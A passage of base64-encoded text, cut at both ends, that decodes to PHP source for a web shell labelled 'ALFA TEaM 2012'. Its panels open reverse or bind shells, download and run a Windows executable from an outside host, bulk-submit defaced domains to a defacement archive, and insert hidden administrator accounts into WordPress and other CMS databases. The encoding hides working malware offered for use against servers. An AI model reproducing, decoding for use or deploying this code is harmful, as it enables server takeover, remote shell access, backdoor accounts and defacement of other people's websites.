paDlCUFNXL3BBdGRlUlFKWmNTWFlLSWZuMnlyS2Q1dEdXWWgrRWQyZDJORHRxdU1XdTRqdU5WOWpDUnkwdGtEUVRVdVZ2bFRVWk9KZFNGZ25MNmFRSlpBMytuQnJLbFBhUTh4WjRlWTUyblJNaE05b1pCUmRYZGExSTZWVUVLQlVvNmZ4ZDZya1RhVUJrUVhvM3JGTGNGOGFXck9RK0UyVCt1Z3NzU2VuM1hGYm1ERDRoUFNseXUyMENNQ2kwWmFmWi9qRUZldXZGYXJXZysra0V0WHdSeUdFdmxnWHpIdFpnRzdDa3FIWG1wZEhFUlI1eWJHZWxCNUljOFlNcU9INXFWMTlIRDhkbm5iVDc0UDdydGdxaU1VY1NqWjdqVGpEbmM2bVpCVmVYUU9nMVpHclB3czFKemoxUFpvTVRUTnFhN2djbnNWb2VicFhCMnBIamY0ME5wbSttVVhjS3BxVHpvR1BLbTd1WHRubVlUa0E1d05mWjM1K3lkeGZaUHhxdG9ZdTlWNW5GMTl3c290eC9IZ0g5bGo3NklYWTBNbTgwTW1nMEx1SERGdz09IjsKJGM9InRWSnRiOW93RVA3Y1N2MFBIcDFhcC9XQXNPMFRUYVdvWkJMYUNoSEpORTBiaWxMSE5LY1pHOFZtZ2s3cmI5OGxCQXJaaS9hbFVxemNQZmY0N256UG5ZTGljcGtKY21Wc0JycWRYNThjbis1aEJhajczOEJNd2wwVFhKdU9YUytFK1FOdU5QOG1iQ09naEFVOEhWQ053RklCVnFoQVVKYk1VMUMwTk5MaW5qT2Vwd1c1UVBQN2w2bno0K1Q0cUl3WXhwbjIzRDY2MlBDU0k0SVYweXdyRWxBRVNoeG10THp2ZWIzcTFoRzBEYWhrbHM1QnJqMy9YVEljQlhIL0tiRFFoZlZ5cTVXaHFkVkFxNEx1MUhIMk9HWCt0cWwrRlZYUzRjZ2ZEQ2FKUC9xODRSbHY4M0phRjJEUitPWjlFc1dUd0w5bDNab2piRW5TQzBzTnhqOGtKYWVpSnBQZ1l4U1VHZG1aWmdZZWhKNVJ2VzFoUmw4WVI2ekEwanJSSGFnTVU5REdCTWlGY3dhc3UzSnJtc1RoQ29YRXR4dWZleW5ub3FyZWZlb0pVM0hXZWlTK25LVWtGdW1jUkxtUWtqeCtWUzNXZTdNbFpzdEZENG1Ibm52ZzllcVVheXc3cHkyeEtrZEw0bUJ5NjYyc0tPYjlNSEs5ODVmaHA4SDFlYitPSW9TbTRLU0RqK3FZbkx5Q1Z0MnQxRVpRWGprLzhRaHBCTmxwKy9wWnRDMjN0TEkyek42MG52ZURLUFFXWWpoMWlXUGRNaTdkeTMxa2wvMmZHekVNdzhrNEhpZnhUYmdUbVhLdGxPRDJyOHJXZTlHSU9ZNXoxVDFZajBwVDg3K2Ftb2JuSG5qUG9hblphb3JmTHc9PSI7CiRqYXZhPSJsVlJOYjlzd0REMm5RUCtENEpNOUJHNlQwNGJDd3o2d3c0QUJIWmJldWh3VWhiRzEycklnMFhHQ05QdnRvejdzdW1zdlBkaVd5Q2Z5OFpHeWJIUnJrUDNoZTU3TE5uOTNjM2toSnlZRjZHMlhGN3JiMUZJd1VYTnJHYTkzL0E1NGM3cThtR2tqOXh5QldlUklnSjFVdkk0d2pRd09DR3ByMlYxbGdHOGRmanp3WGVrT1YwajJoa2w3TTNYZGR2amthenYwRE1nZE9HaE1uNStkdnppUW5iQ1NOcGUyb01oK1NjYkNSVHFIVUo5dTkyQ00zTUlrN3I2VlcyWTZsV2FlNXd6Tk1TeG1teVBDL1pwdFdNRVU5TXh2M3k4K0xOYzN3UzhWTWtGT3l1UEtURGRaZFBTVnJDRVZINHZyak1WWU0yS1I5MFlpcEp2NTlWd01VRy9mMVoydDB0SDBhc3l6LzRTMzRDaXE5TnRCZ0ViWktnYlpDWEpTVVpFV1hEemNHUzZBd25td2U0WHFZNzJ4WTc3c2hrdVZrbjVTbFZRb042VU5JcmpLM0RqNDNNSFBSTE1sWHNuVlJxb3JXeVhlSlhmcDZtZ1JtcndFL0dsYURRYVBhZExhWFBFR2tpekg5a2ZiZy9uS0xSSEtwZHJDNFhhWEpyMVVTZWJrT2NXbzlFa0MzNWl0ZDlhLzdET05ISE16eDFZVjFEWDcrMXVGekpQZTlDNzVGOXJiS09HcUZRK0FySXA5Qzl2b0c3dEwxRjI5ZVEycXhLb29Gckg5TTM4TkNwcFRoQkpNcnJteFFCdVB2cjllRC8xWWdhRlppcW5za0dwaVRGMmdBZTI0Mkp3TDE3R2gwYUdYVUZ0Zy81Tlp2cFZNRUUxcXduclhZajFKUEJGQjZqbWI4RHEvTGdWN2ZHU3Y4NW5ld0ZLNnNpdW4vc1E4anZHenkxbTJJM1pxSDhIa0gyN0hZS0p4RXVCK0ozVHdWNmRRTnVDT3h5Vk5FeHhBcERRNFdmeFBrRm8wdFl0WU1PbXNYMUNiT3lKREFvZGVQcUZMOTBmUkx4bU84RVZPVjhlNDl1bmx1SHlTMGIvZWNEUHBPZjhEIjsKZWNobyAiPGRpdiBjbGFzcz1oZWFkZXI+PGNlbnRlcj48YnI+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgQmFjayBDb25uZWN0IHw8L2Rpdj48YnI+PGJyPiI7CmVjaG8gIjxmb3JtIG9uU3VibWl0PVwiZygnY29ubmVjdCcsbnVsbCx0aGlzLnNlbGVjdENiLnZhbHVlLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSx0aGlzLmNibWV0aG9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+CjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+TWVodG9kOjwvZGl2PiA8c2VsZWN0IG5hbWU9J2NibWV0aG9kJyBvbkNoYW5nZT0nY3RsYmModGhpcyk7JyBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48b3B0aW9uIHZhbHVlPSdiYWNrJz5SZXZlcnNlIFNoZWxsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nYmluZCc+QmluZCBQb3J0PC9vcHRpb24+PC9zZWxlY3Q+IDxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VXNlOjwvZGl2PiA8c2VsZWN0IG5hbWU9J3NlbGVjdENiJz4iOwokY2JBcnIgPSBhcnJheSgicGhwIj0+IlBocCIsInBlcmwiPT4iUGVybCIsInB5dGhvbiI9PiJQeXRob24iLCJydWJ5Ij0+IlJ1YnkiLCJjIj0+IkMiLCJqYXZhIj0+IkphdmEiLCJub2RlIj0+Ik5vZGVKcyIsImJjd2luIj0+IldpbmRvd3MiKTsKZm9yZWFjaCgkY2JBcnIgYXMgJGtleT0+JHZhbCl7ZWNobygiPG9wdGlvbiB2YWx1ZT0neyRrZXl9JyAiLigkR0xPQkFMU1snc3lzJ109PSd3aW4nPydzZWxlY3RlZCc6JycpLiI+eyR2YWx9PC9vcHRpb24+Iik7fQplY2hvICI8L3NlbGVjdD4gPGRpdiBpZD0nYmNpcEFjdGlvbicgc3R5bGU9J2Rpc3BsYXk6aW5saW5lLWJsb2NrOyc+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5JUDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz48L2Rpdj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Qb3J0OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDEyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48cD48ZGl2IGlkPSdiY1N0YXR1cyc+PHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPjwvZGl2PjwvcD48L2NlbnRlcj48L2I+PC9mb250Pjxicj4iOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYhZW1wdHkoJF9QT1NUWydhbGZhMSddKSl7CiRsYW5nID0gJF9QT1NUWydhbGZhMSddOwokaXAgPSAkX1BPU1RbJ2FsZmEyJ107CiRwb3J0ID0gJF9QT1NUWydhbGZhMyddOwokYXJnID0gKCRfUE9TVFsnYWxmYTQnXT09J2JpbmQnPyRwb3J0OiRwb3J0LicgJy4kaXApOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokbmFtZSA9ICR0bXBkaXIuJy8nLiRsYW5nLnVuaXFpZCgpLnJhbmQoMSw5OTk5OSk7CiRhbGxvdyA9IGFycmF5KCdwZXJsJywncnVieScsJ3B5dGhvbicsJ25vZGUnKTsKZXZhbCgnJGxhbj0kJy4kbGFuZy4nOycpOwppZihpbl9hcnJheSgkbGFuZywkYWxsb3cpKXsKaWYoX193cml0ZV9maWxlKCRuYW1lLF9fZ2V0X3Jlc291cmNlKCRsYW4pKSl7CmlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpewokb3MgPSAoJEdMT0JBTFNbJ3N5cyddIT0nd2luJyk/JzE+L2Rldi9udWxsIDI+JjEgJic6Jyc7CiRvdXQgPSBhbGZhRXgoIiRsYW5nICRuYW1lICRhcmcgJG9zIik7CmlmKCRvdXQ9PScnKXskb3V0PSI8Zm9udCBjb2xvcj0nZ3JlZW4nPjxjZW50ZXI+WyBGaW5pc2hlZC4uLiEgXTwvY2VudGVyPjwvZm9udD4iO30KZWNobygiPHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPnskb3V0fTwvcHJlPiIpOwp9Cn1lbHNlewplY2hvKCI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPjxmb250IGNvbG9yPSdyZWQnPjxjZW50ZXI+WyBGYWlsZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+PC9wcmU+Iik7Cn0KfQppZigkbGFuZz09J2phdmEnfHwkbGFuZz09J2MnKXsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKJG91dCA9IG5sMmJyKGJjaW5pdCgkbGFuZywgJGNvZGUsJycsJycpKTsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPnskb3V0fTwvY2VudGVyPjwvcHJlPiIpOwp9CmlmKCRsYW5nPT0nYmN3aW4nKXsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKJHMgPSAkYWxmYS0+U2VuZCgnaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9iYy93aW5kb3dzLmV4ZScpOwokdG1wZGlyID0gQUxGQV9URU1QRElSOwokZiA9IEBmb3BlbigkdG1wZGlyLicvYmN3aW4uZXhlJywndysnKTsKQGZ3cml0ZSgkZiwgJHMpOwpAZmNsb3NlKCRmKTsKJG91dCA9IGFsZmFFeCgkdG1wZGlyLiIvYmN3aW4uZXhlICIuJF9QT1NUWydhbGZhMiddLiIgIi4kX1BPU1RbJ2FsZmEzJ10pOwp9CmlmKCRsYW5nPT0ncGhwJyl7CmVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+IjsKJGNvZGUgPSBfX2dldF9yZXNvdXJjZSgkbGFuKTsKaWYoJGNvZGUhPT1mYWxzZSl7CiRjb2RlID0gIlwkdGFyZ2V0ID0gXCIiLiRhcmcuIlwiO1xuIi4kY29kZTsKZXZhbCgkY29kZSk7CmVjaG8oIjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5bIEZpbmlzaGVkLi4uISBdPC9mb250PjwvY2VudGVyPiIpOwp9CmVjaG8gIjwvcHJlPiI7Cn0KfQplY2hvICI8L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gYWxmYXpvbmVoKCl7CmFsZmFoZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPic7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpKXsKZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48Yj48YmlnPjxiaWc+UEhQIENVUkwgTk9UIEVYSVNUIH4gWk9ORSBIIE1BU1MgUE9TVEVSIERPRVMgTk9UIFdPUks8L2I+PC9mb250PjwvYmlnPjwvYmlnPjwvY2VudGVyPjwvcHJlPiI7Cn0KJGhhY2ttb2RlID0gYXJyYXkoJ2tub3duIHZ1bG5lcmFiaWxpdHkgKGkuZS4gdW5wYXRjaGVkIHN5c3RlbSknLCd1bmRpc2Nsb3NlZCAobmV3KSB2dWxuZXJhYmlsaXR5JywnY29uZmlndXJhdGlvbiAvIGFkbWluLiBtaXN0YWtlJywnYnJ1dGUgZm9yY2UgYXR0YWNrJywnc29jaWFsIGVuZ2luZWVyaW5nJywnV2ViIFNlcnZlciBpbnRydXNpb24nLCdXZWIgU2VydmVyIGV4dGVybmFsIG1vZHVsZSBpbnRydXNpb24nLCdNYWlsIFNlcnZlciBpbnRydXNpb24nLCdGVFAgU2VydmVyIGludHJ1c2lvbicsJ1NTSCBTZXJ2ZXIgaW50cnVzaW9uJywnVGVsbmV0IFNlcnZlciBpbnRydXNpb24nLCdSUEMgU2VydmVyIGludHJ1c2lvbicsJ1NoYXJlcyBtaXNjb25maWd1cmF0aW9uJywnT3RoZXIgU2VydmVyIGludHJ1c2lvbicsJ1NRTCBJbmplY3Rpb24nLCdVUkwgUG9pc29uaW5nJywnRmlsZSBJbmNsdXNpb24nLCdPdGhlciBXZWIgQXBwbGljYXRpb24gYnVnJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBicnV0ZWZvcmNpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIGFkbWluaXN0cmF0aXZlIHBhbmVsIGFjY2VzcyBzb2NpYWwgZW5naW5lZXJpbmcnLCdBdHRhY2sgYWdhaW5zdCBhZG1pbmlzdHJhdG9yKHBhc3N3b3JkIHN0ZWFsaW5nL3NuaWZmaW5nKScsJ0FjY2VzcyBjcmVkZW50aWFscyB0aHJvdWdoIE1hbiBJbiB0aGUgTWlkZGxlIGF0dGFjaycsJ1JlbW90ZSBzZXJ2aWNlIHBhc3N3b3JkIGd1ZXNzaW5nJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgYnJ1dGVmb3JjZScsJ1Jlcm91dGluZyBhZnRlciBhdHRhY2tpbmcgdGhlIEZpcmV3YWxsJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgUm91dGVyJywnRE5TIGF0dGFjayB0aHJvdWdoIHNvY2lhbCBlbmdpbmVlcmluZycsJ0ROUyBhdHRhY2sgdGhyb3VnaCBjYWNoZSBwb2lzb25pbmcnLCdOb3QgYXZhaWxhYmxlJywnQ3Jvc3MtU2l0ZSBTY3JpcHRpbmcnKTsKJHJlYXNvbiA9IGFycmF5KCdIZWguLi5qdXN0IGZvciBmdW4hJywnUmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZScsJ1BvbGl0aWNhbCByZWFzb25zJywnQXMgYSBjaGFsbGVuZ2UnLCdJIGp1c3Qgd2FudCB0byBiZSB0aGUgYmVzdCBkZWZhY2VyJywnUGF0cmlvdGlzbScsJ05vdCBhdmFpbGFibGUnKTsKZWNobyAnCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnem9uZWhcJyxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMucmVhc29uLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlLFwnPj5cJyk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVmYWNlciIgc2l6ZT0iNjciIGlkPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iQUxGQSBURWFNIDIwMTIiIC8+Cjxicj4KPHNlbGVjdCBpZD0idGV4dCIgbmFtZT0iaGFja21vZGUiIHN0eWxlPSJ3aWR0aDo0MDBweDsiPic7CiR4PTE7CmZvcmVhY2goJGhhY2ttb2RlIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiIgc3R5bGU9IndpZHRoOjIwMHB4OyI+JzsKJHg9MTsKZm9yZWFjaCgkcmVhc29uIGFzICRtb2RlKXtlY2hvKCc8b3B0aW9uIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoRiwgRiwgRik7IiB2YWx1ZT0iJy4keC4nIj4nLiRtb2RlLic8L29wdGlvbj4nKTskeCsrO30KZWNobyAnPC9zZWxlY3Q+PGJyPgo8dGV4dGFyZWEgbmFtZT0iZG9tYWluIiBjb2xzPSI5MCIgcm93cz0iMjAiIHBsYWNlaG9sZGVyPSJEb21haW5zLi4uIj48L3RleHRhcmVhPjxicj4KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvcD4KPC9mb3JtPjwvY2VudGVyPic7CmlmKCRfUE9TVFsnYWxmYTUnXSAmJiAkX1BPU1RbJ2FsZmE1J10gPT0gJz4+Jyl7Cm9iX3N0YXJ0KCk7CiRoYWNrZXIgPSAkX1BPU1RbJ2FsZmExJ107CiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107CiRuZWRlbiA9ICRfUE9TVFsnYWxmYTMnXTsKJHNpdGUgPSAkX1BPU1RbJ2FsZmE0J107CmlmKGVtcHR5KCRoYWNrZXIpKXsKZGllIChfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgRklMTCBUSEUgQVRUQUNLRVIgTkFNRSBbK108L2ZvbnQ+PC9iPjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBTRUxFQ1QgVEhFIE1FVEhPRCBbK108L2I+PC9mb250PjwvY2VudGVyPiIpOwp9ZWxzZWlmKCRuZWRlbiA9PSAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tU0VMRUNULS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIpewpkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgUkVBU09OIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7Cn1lbHNlaWYoZW1wdHkoJHNpdGUpKXsKZGllKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBJTlRFUiBUSEUgU0lURVMgTElTVCBbK108Zm9udD48L2I+PC9jZW50ZXI+Iik7Cn0KJGkgPSAwOwokc2l0ZXMgPSBleHBsb2RlKCJcbiIsICRzaXRlKTsKJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsKd2hpbGUoJGkgPCBjb3VudCgkc2l0ZXMpKXsKaWYoc3Vic3RyKCRzaXRlc1skaV0sIDAsIDQpICE9ICJodHRwIil7CiRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsKfQokYWxmYS0+U2VuZCgiaHR0cDovL3d3dy56b25lLWguY29tL25vdGlmeS9zaW5nbGUiLCJwb3N0IiwiZGVmYWNlcj0iLiRoYWNrZXIuIiZkb21haW4xPSIuICRzaXRlc1skaV0uIiZoYWNrbW9kZT0iLiRtZXRob2QuIiZyZWFzb249Ii4kbmVkZW4pOworKyRpOwp9CmVjaG8gX19wcmUoKS4iPGNlbnRlcj48Zm9udCBjb2xvciA9XCIjMDBBMjIwXCI+PGI+WytdIFNlbmRpbmcgU2l0ZXMgVG8gWm9uZS1IIEhhcyBCZWVuIENvbXBsZXRlZCBTdWNjZXNzZnVsbHkgISEhWytdPC9iPjxmb250PjwvY2VudGVyPiI7Cn0KZWNobyAiPC9kaXY+IjsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFwd2NoYW5nZXIoKXsKYWxmYWhlYWQoKTsKCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFkZCBOZXcgQWRtaW4gfDwvZGl2Pgo8Y2VudGVyPjxoMz4nOwokdmFscyA9IGFycmF5KCdXb3JkUHJlc3MnID0+IGFycmF5KCd3cCcsMiksJ0pvb21sYScgPT4gYXJyYXkoJ2pvb21sYScsMyksJ3ZCdWxsZXRpbicgPT4gYXJyYXkoJ3ZiJyw1KSwncGhwQkInID0+IGFycmF5KCdwaHBiYicsNiksJ1dITUNTJyA9PiBhcnJheSgnd2htY3MnLDcpLCdNeUJCJyA9PiBhcnJheSgnbXliYicsOCksJ1BocCBOdWtlJyA9PiBhcnJheSgnbnVrZScsOSksJ0RydXBhbCcgPT4gYXJyYXkoJ2RydXBhbCcsMTApLCdTTUYnID0+IGFycmF5KCdzbWYnLDExKSk7CkFsZmFfQ3JlYXRlX0FfVGFnKCdwd2NoYW5nZXInLCR2YWxzKTsKZWNobyAnPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd3cCcpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV29yZFByZXNzIHw8L2Rpdj4KPHA+Jy5nZXRDb25maWdIdG1sKCd3cCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnd3BcJyxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnd3BfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAna2gnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+JzsKaWYgKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChJRCx1c2VyX2xvZ2luLHVzZXJfcGFzcyx1c2VyX2VtYWlsKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCckU1FMJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lcnJvcigkY29ubikpOwokc29sZSA9IEBteXNxbGlfbnVtX3Jvd3MoJHNvbGV2aXNpYmxlKTsKaWYgKCRzb2xlID09IDEpewokc29sZXZpcyA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHNvbGV2aXNpYmxlKTsKJHJlcyA9ICRzb2xldmlzWydJRCddOwp9CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJtZXRhICh1bWV0YV9pZCx1c2VyX2lkLG1ldGFfa2V5LG1ldGFfdmFsdWUpIHZhbHVlcyhudWxsLCciLiRyZXMuIicsJ2ZpcnN0X25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLCciLiRyZXMuIicsJ2xhc3RfbmFtZScsJ3NvbGV2aXNpYmxlJyksKG51bGwsJyIuJHJlcy4iJywnbmlja25hbWUnLCdzb2xldmlzaWJsZScpLChudWxsLC